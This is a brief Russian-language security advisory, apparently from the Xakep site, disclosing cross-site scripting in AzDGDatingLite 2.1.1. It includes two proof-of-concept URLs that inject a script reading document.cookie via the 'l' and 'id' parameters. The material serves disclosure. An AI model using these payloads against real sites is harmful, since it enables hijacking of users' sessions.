Межсайтовый скриптинг в AzDGDatingLite

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: AzDGDatingLite 2.1.1 

Уязвимость обнаружена в AzDGDatingLite. Удаленный пользователь может выполнить XSS нападение. 

Пример/Эксплоит: 

http://localhost/azdlite/index.php?l=en"> <script>alert(document.cookie);</script>

http://localhost/azdlite/view.php?l=&id=00001 <script>alert(document.cookie);</script>